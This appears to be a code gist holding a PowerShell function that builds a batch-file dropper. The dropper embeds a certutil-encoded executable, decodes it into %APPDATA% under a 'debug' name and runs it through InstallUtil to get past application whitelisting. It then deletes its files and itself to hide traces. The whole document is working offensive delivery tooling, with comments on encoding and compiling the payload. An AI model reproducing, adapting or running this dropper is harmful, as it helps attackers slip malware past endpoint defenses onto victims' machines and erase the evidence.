Created
October 27, 2016 14:13
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Generate InstallUtil payload within batch file for delivery
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function New-InstallUtilBatchFile | |
{ | |
<##> | |
#You must provide an encoded payload using certutil -encode for the InFilePath. | |
#certutil -encode payload.exe payload.txt | |
#For compiling w/ a managed powershell runner | |
# C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:payload.exe payload.cs | |
[CmdletBinding()] | |
param | |
( | |
[Parameter(Mandatory = $True)] | |
[ValidateNotNullOrEmpty()] | |
[ValidateScript({Test-Path $_})] | |
[string]$InFilePath, | |
[Parameter()] | |
[ValidateNotNullOrEmpty()] | |
$InlineOutFilePath = "%APPDATA%\debug.txt", | |
[Parameter()] | |
[ValidateNotNullOrEmpty()] | |
[string]$InlineOutExePath = "%APPDATA%\debug.exe", | |
[Parameter()] | |
[ValidateNotNullOrEmpty()] | |
[string]$BatchFilePath = "$($pwd.Path)\easybutton.bat" | |
) | |
$TemplateBatch = @" | |
@ECHO OFF | |
SET outEncFile="$InlineOutFilePath" | |
SET outEXE="$InlineOutExePath" | |
SET installUtil=C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe | |
INLINEENCODING | |
setlocal enabledelayedexpansion | |
( | |
ECHOCMDLINES | |
) > %outEncFile% | |
endlocal | |
certutil -decode "%outEncFile%" "%outEXE%" | |
%InstallUtil% /logfile= /LogToConsole=false /U "%outEXE%" | |
del "%outEncFile%" | |
timeout /t 5 /nobreak > NUL | |
del "%outEXE%" | |
start /b "" cmd /c del "%~f0"&exit /b | |
"@ | |
$certUtilEncodedBinary = Get-Content -Encoding Ascii $InFilePath | |
$count = 1 | |
$batchFormattedBinary = $certUtilEncodedBinary | % {"SET `"line$count=$_`"";$count+=1} | |
$count = 1 | |
$echolines = $certUtilEncodedBinary | % {"echo !line$count!";$count+=1} | |
$TemplateBatch = $TemplateBatch.Replace("INLINEENCODING",$batchFormattedBinary -join "`n") | |
$TemplateBatch = $TemplateBatch.Replace("ECHOCMDLINES",$echolines -join "`n`t") | |
$TemplateBatch = $TemplateBatch -creplace '(?m)^\s*\r?\n','' | |
$TemplateBatch | Out-File -Encoding ascii $BatchFilePath -Force | |
Get-ChildItem -Path $BatchFilePath | |
} |
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Use the lowest version of the System.Automation.dll possible as the reference assembly.